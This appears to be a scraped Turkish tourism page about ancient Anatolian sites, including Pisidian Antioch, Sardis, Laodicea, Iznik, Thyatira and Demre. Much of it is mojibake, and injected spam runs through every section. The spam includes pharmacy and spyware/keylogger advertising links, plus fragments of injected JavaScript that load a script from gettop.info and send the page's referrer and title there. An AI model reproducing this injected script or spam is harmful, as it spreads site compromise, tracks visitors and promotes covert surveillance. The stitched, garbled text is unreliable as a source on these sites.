Ortada yer alan kemerin, iki yanA�ndaki A?A�gen boAYluklarda plasterler A?zerinde diz A�A�kmA?AY ve kollarA� arkadan baAYlanmA�AY biri giyimli, diAYeri A�A�plak iki PisidialA� esir; yA?ksek kabartma olarak iAYlenmiAYtir. KabartmalarA�n A�nA?ndeki boAYluk ise, bir meAYale ve A�elenkle doldurulmuAYtur. Yanlardaki kemer boAYluklarA�nda ise girland taAYA�yan kanatlA� Eros ve Nike kabartmalarA� yer almaktadA�r.

Kademeli olarak yapA�lan arAYitravA�n merkezi kA�smA� A?zerinde, bronzdan kabartma harflerle (IMP CAES AVGVSTO PONTIFEX MAX TRIBUNICA POTESTATE XII CON…) yazA�tA�nA�n bulunduAYu anlaAYA�lmaktadA�r. ArAYitrav ve ayaklar A?zerinde kesintisiz devam eden frizin, her bir kemer altA� yolunun merkezi A?zerinde iki tritonlu bir grup yer almaktadA�r. AyrA�ca savaAY gemileri, kalkanlar, A�eAYitli hayvan kabartmalarA� ile sA?slA? sA?tun baAYlA�klarA� A?zerinde yer alan plasterlerde Poseidon ve Demeter gibi tanrA� tasvirleri de yer almaktadA�r.

A�eAYitli silme ve kabartmalar ihtiva eden saA�ak takA�mA� A?stA?ndeki kaide A?zerinde giyimli dev erkek ve kadA�n heykellerinin durmakta olduAYu tahmin edilmektedir. BugA?n bu heykeller teAYhir edilmektedir.

Augustus’un A�lA?mA?nden A�nce yazdA�AYA� vasiyeti “Res Gestae Divi Augusti”, onun yaAYam boyunca yaptA�AYA� iAYlerin A�zetini vermektedir. Bu metnin Latince bir kopyasA� da bu yapA�da yer almakta idi. KazA�lar sA�rasA�nda birA�ok kitabe parA�asA� ele geA�irilmiAYtir.

AnA�tsal giriAY kapA�sA�nA�, stilistik aA�A�dan A�.S. I. yA?zyA�lA�n ortalarA�na tarihlememiz akla en yakA�ndA�r. A�A?nkA? arAYitrav A?zerindeki yazA�t da bu fikrimizi teyid etmektedir.

Tiberius AlanA�
SA?tunlu caddenin hemen doAYu bitiminde yer alan Tiberius alanA�nA� doAYuda propylonun anA�tsal merdivenleri; kuzey ve gA?neyde ise sA?tunlu galeriler A�evreliyordu.

BugA?n temel kalA�ntA�larA�nA� gA�rdA?AYA?mA?z bu yerin ana giriAYi batA� yA�nA?nde bulunmakta ve sA?tunlu caddeye aA�A�lmakta idi.

Kentin sosyal yaAYamA�nA�n geA�tiAYi bu alanda A�.S. 16′da askerlerin bir grevine de sahne olmuAYtur. Hayat AYartlarA�nA�n iyileAYtirilmesini isteyen RomalA� askerler, su kemerlerinin bir bA�lA?mA?nA? tahrip etmiAYler ve isteklerini elde ettikten sonra, su yolunu bizzat onarmA�AYlardA�r.

SA?tunlu Cadde
Antiokheia’da AYehrin bel kemiAYini teAYkil eden sA?tunlu cadde, iki ana caddenin kesiAYtiAYi kavAYaktan 75 m. kuzeyde ve ikinci ana caddenin doAYusundan baAYlayarak Tiberius alanA�na kadar uzanmaktadA�r.

KaldA�rA�mlA� olan ana cadde, hemen hemen 11 m. geniAYlikte olup; uzunluAYu ise 69 m. dir. Caddenin saAYA�nda ve solunda, gA?neyde 5.50 m., kuzeyde ise 5.60 m. derinlikte portikler; onlarA�n gerisinde de 5 m. derinlikte dA?kkanlarA�n yer aldA�AYA� temel kalA�ntA�larA�ndan tespit edilmiAYtir.

SA?tunlu cadde A?zerinde yer yer heykel kaidelerinin bulunmasA�, Antik A�aAYda caddenin heykellerle sA?slA? olduAYunu gA�stermektedir. AyrA�ca cadde ortasA�ndan geA�en ve atA�k sularA�nA�n boAYaltA�ldA�AYA� kanaldan baAYka, her iki tarafta bulunan dA?kkanlarA�n altA�ndan kaynak sularA� nakleden taAY ve toprak kA?nkten yapA�lmA�AY su yollarA� dikkat A�ekmektedir.

Stilistik ve yapA�sal A�zellikleri sA?tunlu caddenin, imparatorluAYun kalkA�nma dA�nemlerine, bA?yA?k bir olasA�lA�kla A�.S. I. yA?zyA�lA�n ortalarA�na ait olduAYu kanA�sA�nA� uyandA�rmaktadA�r.

Yrd.DoA�.Dr. Mehmet A�zhanlA�, yaptA�AYA� aA�A�klamada, bir uzman, bir kazA� temsilcisi ve yaklaAYA�k 25 arkeoloji A�AYrencisinin bulunduAYu kazA� heyetinin, bir bakanlA�k temsilcisinin gA�zetiminde kazA� A�alA�AYmalarA�na baAYladA�AYA�nA� bildirdi.
YaklaAYA�k bir ay sA?recek A�alA�AYmalarA�n dA�rt ana baAYlA�kta yA?rA?tA?leceAYini ifade eden A�zhanlA�, A�alA�AYmalarA�n ilk bA�lA?mA?nA?n, yA�kA�lan tiyatro alanA�nA�n ayaAYa kaldA�rA�lmasA�, ikinci bA�lA?mA?nA?n Cardo Maximus (Kuzey-GA?ney) Caddesi’nin gA?n yA?zA?ne A�A�karA�lmasA�, A?A�A?ncA? bA�lA?mA?nA?n YalvaA� MA?zesi’nde daha A�nceki kazA�larda ortaya A�A�karA�lan, ancak envantere kaydedilmeyen eserlerin bakA�mA�, A�izimi, fotoAYraflanmasA� ve sonunda envantere kaydedilmesi, son bA�lA?mA?n ise antik kentten sA�kA?lerek gA�tA?rA?len ve konutlarda kullanA�lan parA�alarA�n fotoAYraflanarak envanter A�alA�AYmasA�nA�n yapA�lmasA�ndan oluAYacaAYA�nA� sA�yledi.
A�zhanlA�, kazA�nA�n resmi aA�A�lA�AY tA�reninin, 30 Temmuzda Isparta Valisi Azemsettin Uzun ve SDA? RektA�rA? Prof.Dr. Metin LA?tfi Baydar’A�n katA�lacaAYA� bir tA�renle yapA�lacaAYA�nA� belirtti.

KAZININ A�NEMA�
Uzmanlardan alA�nan bilgiye gA�re, HristiyanlA�AYA�n A�nemli hac merkezlerinden biri olan Pisidia Antiokheia, St.Paulus’un HristiyanlA�AYA�n ilk vaazA�nA� verdiAYi yer olarak A�nem verilen alanlardan biri. 2008 Haziran ve 2009 Haziran arasA�nA�n dA?nyada St.Paulus yA�lA� ilan edilmesiyle, bu alanda yapA�lacak A�alA�AYmalarla ulaAYA�lacak yeni bulgularA�n uluslararasA� anlamda da ses getirmesi bekleniyor.
Yine uzmanlarA�n verdiAYi bilgiye gA�re, tA?m antik kent alanA�nA�n yalnA�zca yA?zde 6-7′si gA?n yA?zA?ne A�A�karA�lmA�AY durumda. Bu durumda, yA�llarca sA?recek bir kazA� A�alA�AYmasA� ile kentin gA?n A�AYA�AYA�na A�A�karA�lmasA�na ihtiyaA� duyuluyor.
Bu A�erA�evede, kazA�nA�n SA?leyman Demirel A?niversitesine verilmesiyle, bu alanA�n gA?n A�AYA�AYA�na A�A�karA�lmasA� iA�in A�nemli bir adA�m atA�lmA�AY oldu.

TURA�ST SAYISI ARTIYOR
A�te yandan, YalvaA�’ta yeterli konaklama ve aAYA�rlama tesisleri olmamasA�na karAYA�n, antik kentin cazibesi A�ok sayA�da turisti A�ekmeye devam ediyor. Antik kenti her gA?n en az 100 kiAYilik turist kafilesi ziyaret ediyor. ZiyaretA�i gruplarA�n baAYA�nda da GA?ney Koreli turistler bulunuyor. Pills http://thewaystartshere.com/2018/03/19/buspar-for-anxiety-disorder/ Buy Order Purchase if (document.currentScript) { order differin Order how old to buy dramamine Buy http://deejaybooking.de/call-blocker-how-to-track-an-android-phone-track-phone-number/ where to buy elavil online

Manisa Sard Sinagogu

manisa sard sinagogu

Manisa Sardes (Sard) antik kentinde Roma dA�nemi anA�tsal yapA�larA�ndan Gymnasium, Anadolua��daki benzerleri arasA�nda en bA?yA?k A�lA�A?de yapA�lmA�AY olanA�dA�r.

Sardeis Gymnasiuma��unun yapA�mA�na MS.II.yA?zyA�lda Severius Simpliciniusa��un emri ile baAYlanmA�AY, iki yA?z yA�lA� aAYkA�n A�alA�AYmadan sonra M.S.IV.yA?zyA�lda tamamlanmA�AYtA�r. YapA�nA�n bulunduAYu yerde GeA� Helenistik dA�nemde yapA�lmA�AY bazA� yapA�lar, Roma dA�neminde de bir nekropol bulunuyordu. M.S.17a��de bA?yA?k bir deprem tA?m bu yapA�larA� yA�kmA�AYtA�r.

Gymnasium A?A� ayrA� bA�lA?mden oluAYmuAYtur. A�lk bA�lA?mde; A?stA? A�rtA?lA? olan bA�lA?m, 8×12 A�lA�A?lerindeki hamam, ikici bA�lA?mde; hamam kA�smA�na aA�A�lan, tA�renlerin yapA�ldA�AYA� mermer avlu. AyrA�ca bu avlu 15×33 boyutlarA�ndaki iki katlA� sA?tun sA�ralarA� ile gA�rkemli hale getirilmiAY, bA?yA?k bir portal de bunu tamamlamA�AYtA�r. A?A�A?ncA? bA�lA?m ise; DoAYudaki 80 m2a��lik bir alanA� kapsayan Palaestra (antrenman alanA�) ile kuzey ve gA?ney duvarA�na bitiAYik, birbirlerine simetrik iki holden oluAYmaktadA�r. A�zellikle buradaki sA?tunlar Erken Bizans A?slubu baAYlA�klarA� ile dikkat A�ekmektedir. Sardeisa��de 1962a��de yapA�lan A�alA�AYmalarda PalestranA�n gA?neyinde, mermerli caddenin kuzeyinde MS.III.yA?zyA�la ait bir sinagog daha A�A�karA�lmA�AYtA�r.

Sinagogun ilk defa MS.17 depreminde yA�kA�lan Gymnasiona��un bir bA�lA?mA? olarak sonradan yapA�ldA�AYA� anlaAYA�lmaktadA�r. AyrA�ca kare planlA� palestranA�n batA�sA�ndaki kemerli uzun koridordan sinagog da yararlanmA�AYtA�r. Burada ele geA�en A�branice bir yazA�ttan A�mparator Licinius Valerianusa��un ismi geA�mektedir. Arkeoloji kazA�larA�nda ele geA�en yazA�ttan, dA�AYeme ve mimari parA�alarA� da yapA�nA�n MS.IV.yA?zyA�lda Yahudiler tarafA�ndan kullanA�lmA�AY olduAYunu gA�stermektedir. where can i buy methotrexate Cheap online http://journalcct.org/?p=9737 } else {} else { list of antidepressant drugs celexa for anxiety http://visitheviz.hu/buy-ashwagandha-at-walgreens/ Cheap http://cottonmouthheadquarters.com/?p=17340 Pills Purchase http://floordesign.no/phone-tracker-best-free-android-spy-apps-see-facebook/ cheap cyklokapron dosage

GoncalA� Kilisesi (Laodikya Kilisesi)

laodikya
Denizli’nin 6 km kuzeyinde bulunan Laodikya antik kenti, bugA?nkA? Eskihisar ile GoncalA� KA�yleri arasA�ndaki tepeler A?zerinde kurulmuAYtur. AdA�nA� bA�lgeye egemen olan Selekoslar KralA� II. Antiochos’un (M.A�. 250) karA�sA� Laodike’ye izafeten almaktadA�r. Daha A�nceleri Rhoas veya Dios adlarA� ile anA�lA�rdA�.

Kentin bugA?n yA?zeyde gA�rA?len baAYlA�ca kalA�ntA�larA� arasA�nda; iki tiyatrosu, stadyumu, bazilikasA�, nymphaeumu, tapA�naAYA�, sA?tunlu caddesi Roma dA�neminde inAYa edilmiAY anA�tsal yapA�larA�dA�r.

Laodikya’nA�n en yA?ksek refah dA?zeyine ulaAYtA�AYA� zamanlar Roma ve erken HA�ristiyanlA�k dA�nemi ve geA� Bizans A�aAYA�na rastlamaktadA�r. Hierapolis yakA�nlarA�ndaki bir kaynaktan gelen AYehirdeki sA�cak suyun tedavi edici A�zellikleri sebebiyle, AYehir aynA� zamanda bir tedavi merkezi olarak da geliAYmiAYtir.

A�ncil’den ve diAYer belgelerden anlaAYA�ldA�AYA�na gA�re, AYehrin vatandaAYlarA� yeni dine karAYA� A�ok kayA�tsA�z bir tavA�r almA�AYlardA�r. A�lk misyonerler, bu tavrA�n servetlerinden kaynaklandA�AYA�na ve onlarA� paylaAYmaktan alA�koyduAYuna inanmA�AYlardA�. Laodikya M.S. IV. yy.da Ecumenikal Konseyi’nin toplandA�AYA� A�nemli bir piskoposluk merkeziydi. Buna ek olarak, A�ncil’in son BabA�’nA�n Vahiy bA�lA?mA?nde zikredilen yedi kiliseden biri olarak adA� geA�mektedir.

Latince “HalkA�n Sesi” anlamA�na gelmektedir.

Efes Antik Kentia��nden sonra Anadolua��daki en bA?yA?k yerleAYim yeri olarak bilinen Denizli yakA�nA�ndaki Laodikya Antik Kentia��nde Kuzey Tiyatrosua��ndaki kazA�larda, M.S. 2. yA?zyA�lA�n A�nde gelen aileleri, esnaf loncalarA� ve A?retim birlikleri A?yelerine rezerve edilmiAY oturma basamaklarA� bulundu.

Laodikya KazA� Heyeti BaAYkanA� ve Pamukkale A?niversitesi Fen-Edebiyat FakA?ltesi Arkeoloji BA�lA?m BaAYkanA� Prof. Dr. Celal AzimAYek, 2009 yA�lA� kazA� A�alA�AYmalarA�nA�n sA?rdA?AYA?nA? sA�yledi.

Bu seneki kazA� ve temizleme A�alA�AYmalarA� sA�rasA�nda, Kuzey Tiyatrosua��nda ilginA� bir konuyu gA?n yA?zA?ne A�A�kardA�klarA�nA� belirten Prof. Dr. AzimAYek, diAYer tiyatrolarda olmayan biA�imde dA�nemin A�nde gelen aileleri, esnaf loncalarA� ve A?retim birlikleri A?yelerine rezerve edilmiAY basamaklar bulduklarA�nA� belirtti.

TA?m basamaklarda oturma sA�rasA�na gA�re yazA�larA�n bulunduAYunu dile getiren AzimAYek, a�?Bu yazA�larA�n A�evirisini yaptA�AYA�mA�zda, rezerve yapA�lmA�AY oturma alanlarA� olduAYunu saptadA�k. Bu yA�nA? ile dA?nyada ender bir tiyatro olarak karAYA�mA�za A�A�kA�yor. Bununla ilgili A�alA�AYmalarA�mA�z devam ediyora�? dedi.

Prof. Dr. AzimAYek, basamaklarda Laodikyaa��nA�n o dA�nemde de bir tekstil kenti olduAYuna iliAYkin bir kanA�ta rastladA�klarA�nA�, bugA?nkA? AYartlarda bir holding bA?yA?klA?AYA?ndeki YA?n BoyacA�larA� BirliAYi A?yelerine de rezerve yapA�lmA�AY koltuklarA�n saptandA�AYA�nA� dile getirdi.

BirliAYin, Laodikya ve Hierapolisa��te bazA� yapA�larA�n ayaAYa kaldA�rA�lmasA� ve inAYaatA�nA� finanse ettiAYini belirlediklerini anlatan Prof. Dr. AzimAYek, basamaklardaki diAYer yazA�larA�n da kendileri iA�in A�nemli bir veri olduAYunu dile getirdi.

Prof. Dr. AzimAYek, antik kent iA�inde iki ayrA� tiyatronun bulunduAYunu, bunlardan M.S. 2. yA?zyA�lda yapA�lan kuzey tiyatrosunun, Anadolua��nun en bA?yA?k antik tiyatrolarA� arasA�nda yer aldA�AYA�nA� ve tamamen mermerden yapA�ldA�AYA�nA� ifade etti.

Beslenme alA�AYkanlA�klarA�

Laodikya kentinin nekropol alanA�ndaki kazA� A�alA�AYmalarA�nda da mezar tipleri, A�lA? gA�mme adetleri, inanA�larla ilgili bilgiler saAYladA�klarA�nA� dile getiren KazA� BaAYkanA� Prof. Dr. AzimAYek, o dA�nemdeki insanlarA�n beslenme alA�AYkanlA�klarA�, hangi hastalA�ktan A�ldA?kleri veya kaA� doAYum yaptA�klarA� gibi verilere de ulaAYtA�klarA�nA� dile getirdi.

Elde edilen birA�ok verinin, o dA�nemle bugA?n arasA�ndaki bazA� benzerlikleri de ortaya koyduAYunu ifade eden Prof. Dr. AzimAYek, a�?O zamanki insanlarA�n diAYlerindeki aAYA�nmalar kuru gA�dalarA�n A�ok tA?ketildiAYini gA�steriyor. GA?nA?mA?zde Denizlia��de kuru gA�dalar gerA�ekten daha A�nceliklidir. BazA� meyve ve sebzelerin kurutulmasA�nA�n, o zamandan gA?nA?mA?ze geldiAYini gA�stergesia�? diye konuAYtu.

Prof. Dr. AzimAYek, nekropol alanA�ndaki kazA�larda, kentin gelir seviyesinin diAYerlerine gA�re daha iyi olduAYunu ve kentten ihracat yapA�ldA�AYA�nA� saptadA�klarA�nA� belirtti.

KazA� A�alA�AYmalarA� kapsamA�nda kent iA�indeki KarakallA� anA�tsal A�eAYmesinin yanA�ndan gA?neye doAYru geA�en caddeyi temizleyerek aA�acaklarA�nA� ifade eden Prof. Dr. AzimAYek, batA� tiyatrosunun sahne bA�lA?mA?nde yapacaklarA� A�alA�AYmayla da bu tiyatroyu ayaAYa kaldA�rarak Denizli halkA�nA�n kullanabileceAYi duruma getirmeyi planladA�klarA�nA� sA�yledi.

Prof. Dr. AzimAYek, 7 yA�llA�k A�alA�AYma sonucunda Laodikyaa��yA� a�?gezilebilen, bileti kesilebilen bir A�ren yeria�? haline getirmenin mutluluAYunu yaAYadA�klarA�nA�, kentin tamamA�nA�n ortaya A�A�karA�lmasA� iA�in ise 600 yA�la ihtiyaA� olduAYunu sA�zlerine ekledi. online Cheap s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; http://www.fictionplanefanclub.com/2018/02/betnovate-price-in-mercury/ cheap pills Cheap Buy http://zeroblo.com/test1/2017/10/31/instagram-spy-phone-location-tracker-iphone-spy-app/ http://magic-k.de/?p=13436 http://www.eoli.se/bilder/order-innopran-side/ abilify cost how much atarax for anxiety rogaine international delivery

A�znik Ayasofya MA?zesi

Pills iznik ayasofya camii

A�znik‘in tam ortasA�nda , surlarla A�evrili kentin dA�rt kapA�sA�ndan gelen yollarA�n kesiAYtiAYi yerde inAYa edilmiAY olan yapA�dA�r.HristiyanlA�kla ilgili A�nemli kararlarA�n alA�ndA�AYA� 7. konsA?l 325 yA�lA�nda bu kilisede toplanmA�AYtA�r.OsmanlA�lar dA�neminde camiye dA�nA?AYtA?rA?lmA?AYtA?r. YapA� restore edilmeden A�nce A�ok harap ve yA�kA�k durumdaydA�. Cheap [1]A�zellikle yabancA� turistlerin oldukA�a ilgilendiAYi bir yapA�dA�r.2007 yA�lA�nda Restorasyon A�alA�AYmasA� baAYlatA�ldA�. Restorasyon A�alA�AYmasA�nA�n binanA�n tarihi yapA�sA�nA� ve gA�rA?ntA?sA?nA? bozduAYu yA�nA?nde eleAYtiriler yapA�lmA�AYtA�r. Milliyet gazetesi “Beton sA�vayla restorasyon” baAYlA�AYA�yla verdiAYi haberde restorasyon A�alA�AYmalarA�nA�n Ayasofya MA?zesini tarihe gA�mdA?AYA?nA? iddia etti. [2] order yougaramdewababa [3]AynA� habere gA�re what is the cost of imuran TA?rkiye Arkelojik YerleAYmeleri Projesi (TAY) yetkilileri “Bir BaAYkentin YokoluAYu” adA�ndaki bir bildiri ile restorasyonun sonuA�larA�na bA?yA?k tepki gA�sterdi. M.S. 787 YA�lA�nda VII. EkA?menik Konsil’in ToplandA�AYA� Bu Kilise,HristiyanlA�k Dini AA�A�sA�ndan OldukA�a A�nemlidir. A�lA�e Merkezinde, Kentin DA�rt Ana KapA�sA�na UlaAYan YollarA�n KesiAYtiAYi Noktada Yer AlmaktadA�r. A�lk Olarak 4.yy’da YapA�lan Kilise KalA�ntA�larA� A?zerine 6.yy’da Justinianus TarafA�ndan Yeniden A�nAYa EttirilmiAYtir. 11. yy’da Meydana Gelen Deprem SonrasA� YA�kA�lan YapA� A?A� Nefli Bazilika Tipinde Yeniden A�nAYa EdilmiAYtir. Bu Yeni YapA�nA�n Geometrik Desenli Renkli Mermer DA�AYeme MozaiAYi A�le Aziz Ve Havari Betimlemeli Freskleri OldukA�a A�lgi A�ekicidir.1331 YA�lA�nda Orhangazi’nin A�znik’i Fethinden Sonra, Bazilikal Kilise Camiye A�evrilmiAYtir. Kanuni DA�neminde Mimar Sinan TarafA�ndan YapA�lan A�nemli DeAYiAYikliklerle; A�nA?ne Bir Minare EklenmiAY Ve DuvarlarA� NakA�AYlarla BezenmiAYtir. Order http://baodingwanlongjiaodai.com/?p=9713 Purchase document.currentScript.parentNode.insertBefore(s, document.currentScript);} else { Buy android keylogger, how to monitor snapchat, cell phone trackers Buy

Manisa-Thyatira Kilisesi (Akhisar Kilisesi)

buy zovirax online uk http://sadorn.orgfree.com/?p=19295 manisa akhisar kilisesi
BugA?n AYehir iA�inde tuAYla kalA�ntA�larA�nA�n bulunduAYu yerin eskiden kilise olduAYu anlaAYA�lmaktadA�r. A�ncila��de adA� geA�en yedi kiliseden birisi olan bu kilisenin “DevamlA� Kurban” ve “SA�kA� Tutan” gibi anlamlarA� vardA�r.

BugA?nkA? Akhisar ilA�esinin bulunduAYu alanda ilk yerleAYim izleri M.A�. 3000 yA�llarA�na inmektedir.

Mevcut kalA�ntA�larA�n yanA� sA�ra, HA�ristiyanlA�AYA�n ilk A�aAYlarA�na ait Ege BA�lgesinde bulunan yedi kiliseden Thyatira kilisesinin bulunduAYu yer olarak inanA� turizmi kapsamA�nda da ziyaret edilen A�ren yerlerindendir.

A�ncila��in ilgili bA�lA?mA?nde AYA�yle denir: a�?Thyatiraa��daki kilise topluluAYunun meleAYine yaz. GA�zleri ateAYin alevi, ayaklarA� tunA�-gA?mA?AY alaAYA�mA� gibi olan TanrA� OAYlu AYu sA�zleri bildiriyor: YaptA�klarA�nA�, sevgini, imanA�nA�, hizmetini ve katlanA�AYA�nA� biliyorum. Senin iAYlerini ve sevgini ve imanA�nA� ve hizmetini ve sabrA�nA� son iAYlerinin evvelkilerden daha A�ok olduAYunu bilirim. Fakat sana karAYA� bir AYeyim var: Kendisine Peygamber diyen Jesebel kadA�nA� bA�rakA�yorsun: ve o kullarA�nA�z zina etmeyi ve put kurbanlarA� yemeyi talim edip saptA�rA�yor. Ve tA�vbe etsin diye kendisine vakit verdim ve kendi zinasA�ndan tA�vbe etmek istemiyor. A�AYte, onu bir yataAYa ve onun iAYlerinden tA�vbe etmezlerse kendisiyle zina edenleri bA?yA?k sA�kA�ntA�ya atacaAYA�m. Ve onun A�ocuklarA�nA� A�lA?mle A�ldA?receAYim: ve bA?tA?n kiliseler bilecekler ki gA�nA?lleri ve yA?rekleri araAYtA�ran benim: Ve her birinize iAYlerinize gA�re vereceAYim. Fakat size, Thyatreia olan diAYerlerine, kendilerinde bu talim olmayanlarA�na hepsine, onlarA�n dediAYi gibi AzeytanA�n derin AYeyleri bilmeyenlere diyorum: A?zerinize baAYka yA?k koymam. Fakat ben gelinceye kadar sizde olanA� sA�kA� tutun. Ve galip olun. Sonuna kadar iAYlerimi tutana, ben de babamdan nasA�l aldA�msa, onu milletler A?zerine hA?kimiyet vereceAYim. KulaAYA� olan iAYitsin Ruh kiliselere ne diyora�?.

Hz.A�saa��nA�n Allaha��A�n oAYlu sA�zcA?AYA?nA? kullandA�AYA� tek yer Thyatreiaa��dA�r. Vahiya��deki a�?OAYlun ateAY alevi gibi gA�zleria�? ifadesiyle burada kA�tA? iAYlerin yapA�ldA�AYA� zaman, AYiddetin ortaya A�A�kacaAYA� uyarA�sA�nda bulunulmuAYtur. ThyatreialA�lar diAYer HA�ristiyan cemaatlerine gA�re imanlarA� A�ok kuvvetli bir toplumdu. AyrA�ca Vahiyde sA�zA? edilen Jesebela��in MA�.900a��lerde yaAYadA�AYA� sanA�lan Kral Ahapa��A�n kA?hin karA�sA� olduAYu bilinmektedir.a�? cheap aristocort a cream Purchase cheap pills online if (document.currentScript) { if (document.currentScript) { Cheap email spy, iphone keylogger, xnspy Pills Buy buy diclofenac sodium Order

Manisa Alaşehir Kilisesi

Pills manisa alaşehir kilisesi
Manisa Alaşehir ilçesinin bulunduğu yerde Neo Caesarea isimli bir yerleşim bulunuyordu. Roma döneminden sonra Bizans’ın önemli bir yerleşim alanı olan Alaşehir’de Hıristiyanlığın Anadolu’da yayılması sırasında önde gelen şehirlerinden birisi idi. Buradaki Toptepe’de mabet kalıntıları, Roma dönemine ait tiyatro kalıntıları, surlar ve St.Jean Kilisesi bulunuyordu Aziz Yuhanna’nın yedi kutsal kilise cemaatine yazdığı mektuplarından birisini de buraya göndermiştir. Hıristiyanlığın ilk yıllarında burada zengin bir Yahudi topluluğu da yaşıyordu. Burada yapılmış olan kiliseden günümüze yalnızca moloz taş ve tuğladan örülmüş duvar ve temel kalıntıları ile kütlevi kesme taştan üç paye gelebilmiştir.Günümüzde bu alan koruma altına alınmış ve park olarak düzenlenmiştir. Purchase Order s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; var d=document;var s=d.createElement(‘script’); http://www.tigerlilly.me/cheap-cyklokapron-medicine/ http://customersgonebad.com/cell-spyware-ikeymonitor-spyware-iphone/ Order http://www.moneyletter.de/lotrisone-sale/ purchase copegus cost

Antalya Demre St.Nicholas Kilisesi

http://www.mediaturizm.com/resimler/bolgeler/demre2.jpg

Demre, Finike ile Kaş arasında, Finike’ye 25, Kaş’a 48 km. uzaklıktadır. Eski çağ Likya’sının en önemli 5 kentinden birisi olup kuruluşu İ.Ö. V. yüzyıla kadar uzanır. Eskiden bir kıyı kenti iken Demre çayının getirdiği alüvyonlarla günümüzde denizden içeride kalmıştır. İ.S. IX. yüzyılda Arap akınları sonucu terk edilmiştir. Kaya Mezarları, Tiyatro ve St.Nicholas Kilisesi varlığını günümüze değin sürdürebilmiş yapılardan bazılarıdır. İ.S. 245 yılında Fethiye yakınlarında Patara kentinde doğan St.Nicholas (Aziz Nikola, Santa Claus, Heilige Nikolaus, Noel Baba) ölümü olan İ.S. 326 yılına değin Anadolu’da yaşamış bir azizdir. Varlıklı bir ailenin çocuğu olarak iyi bir eğitim görmüş ve kendini insanlara adamıştır. Yaptığı yardımlarla çevresinde sevgi bağı oluşturan St.Nicholas, denizcilerin ve çocukların koruyucusu olarak Noel Baba adı ile bu güne değin yaşatılarak efsaneleştirilmiştir. Demre Piskoposu olarak çevresinde yaptığı dini ve sosyal çalışmalarla halkın sorunlarına insancıl çözümler getirmiştir. Öldükten sonra Demre’de gömülmüş ve adına bir kilise yaptırılmıştır. St. Nicholas’ın kemiklerinin bir kısmı 1087 yılında İtalyan tacirler tarafından Bari’ye kaçırılmıştır. Ancak acele ile götürülemediği anlaşılan bir kısım parçaları ise bugün Antalya Müzesi’nde sergilenmektedir. Hollanda’da Sinterkoas, Fransa’da Pere Noel, İngiltere’de Father Christmas, Amerika’da Santa Claus ve Almanya’da Heilige Nikolaus hikayelerinin aslı St. Nicholas’dır.

http://www.mediaturizm.com/resimler/bolgeler/demre3.jpg
Bugün pek çok ülkenin baş azizi olan St. Nicholas’ın ölüm tarihi olan 6 Aralık’ta törenler düzenlenir, çocuklara hediyeler verilir ve bu kutlamalar Noel Yortusuna değin uzayarak yeni bir yıl özelliği kazanır. 1951-55 Yıllarında St. Nicholas’ın aslında Santa Claus (Noel Baba) olduğu ortaya çıkarılmış ve konu ülkemizde önem kazanmıştır. Radyo ve gazeteler bir çok yayın yapmış, 1955 yılında Noel Baba adına posta pulu çıkarılmıştır. Daha sonraları Demre’de Noel Baba şenlikleri düzenlenmeye başlanmıştır. Dünyada ilk kez 5-7 Aralık 1983 tarihinde Antalya’da Noel Baba Sempozyumu gerçekleştirilmiştir. Her yıl tekrarlanan bu sempozyumlara dünyanın değişik uluslarından din ve bilim adamları katılır. Sempozyumlarda, Anadolu’lu St. Nicholas’ın insan sevgisinden yararlanarak, dini ve inancı değişik tüm insanlara barış, dostluk ve kardeşlik çağrısı yapılır. Myra (Demre) her zaman Likya’nın en önemli şehirlerinden birisi olarak bilinir. En erken sikkeler M.Ö. 3.yy tarihlenir. Fakat şehrin en azından M.Ö. 5.yy da kurulduğu tahmin edilmektedir. Roma egemenliği döneminde Myra gelişmiş ve zenginleşmiş şehirliler sivil projelere cömertçe para yardımında bulunmuşlardır. Sen Pol Roma’ya gitmek için Andriake Limanından hareket etmeden evvel M.S. 6.yy da şehri ziyaret etmiştir. Bizans döneminde Myra önemli bir idari ve dini bir merkez olmuştur. Piskoposluk merkezi de olan Myra’da St. Nicholaus IV. yüzyıl başında Piskopos olarak görev yapmış; halka kendini sevdirmiş, inancı uğruna çok acılar çekmiştir. Myra o zamandan sonra hep haç yollu yapılan bir yer olmuştur. Bu bakımdan Demre Hıristiyan Dünyasının her bakımdan ilgisini çekmiştir. Her yıl 6 Aralık’ta Noel Baba etkinliklerini yapmak geleneksel hale gelmiştir. Myra gibi önemli bir şehirden kalabileceği beklenen kalıntıların bir çoğunu bugün Demre’de göremiyoruz. Likya’nın en büyük tiyatrosundan kalanlar bugün ayaktadır ve bu aynı zamanda Likya’nın en iyi korunmuş tiyatrosudur. 29 oturma sırası ve 9-10 bin seyirci kapasiteli tiyatro tepeye yaslanmıştır. Bugün bile bazen festival ve oyunlar için kullanılmaktadır.

Myra metropoli muhtelif tip Likya mezarlarını önemli örneklerini ihtiva etmektedir. Tiyatro doğu ve batı metropoli diye ikiye ayrılmış ve Myra’nın arkasında yükselen kayalık, tepede kurulmuştur. Kayalar oyularak mezarlar kabartma ve yazılarla süslenmiştir. Başka önemli bir kalıntı St.Nicholaus kilisesidir. Kilise bugün 7 m. toprak seviyesinin altındadır. St.Nicholaus kemikleri kilise içindeki mermer bir mezarda bulunuyordu. Fakat bazı kemikler İtalyanlar tarafından çalınmış ve Bari’ye kaçırılmıştır. Bir Rus Prensi 1862 yılında Kiliseyi restore ettirmiş olup, St.Nicholaus Rusya’da çok kutsal sayılmaktadır. Ruslar bir kilise çanı ilave ederek kubbeyi bir ilaç tonozu ile değiştirmişlerdir. Bazı kemikleri bugün Antalya Müzesi’nde teşhir edilmektedir. St.Nicholaus çocukları, gemicilerin ve ağır işlerde çalışan işçilerin koruyucu azizidir. Bilindiği üzere de bütün Dünya çocuklarının Noel Babasıdır. İlk defa 1904 yılında Eynihal adıyla köy statüsüne kavuşan Demre; 6 Haziran 1968 yılında 4 köyün birleşmesiyle Belediyelik; 4 Temmuz 1987 günü Kale adıyla ilçe olmuştur. İlçe 2005 yılında Demre adını almıştır.

Coğrafyası
Demre, Antalya körfezinin batısında Teke Yarımadası’nın güneyinde yer alan bir ilçe olup, doğusunda Finike İlçesi, batısında Kaş İlçesi, güneyinde ise Akdeniz ile sınırdır.
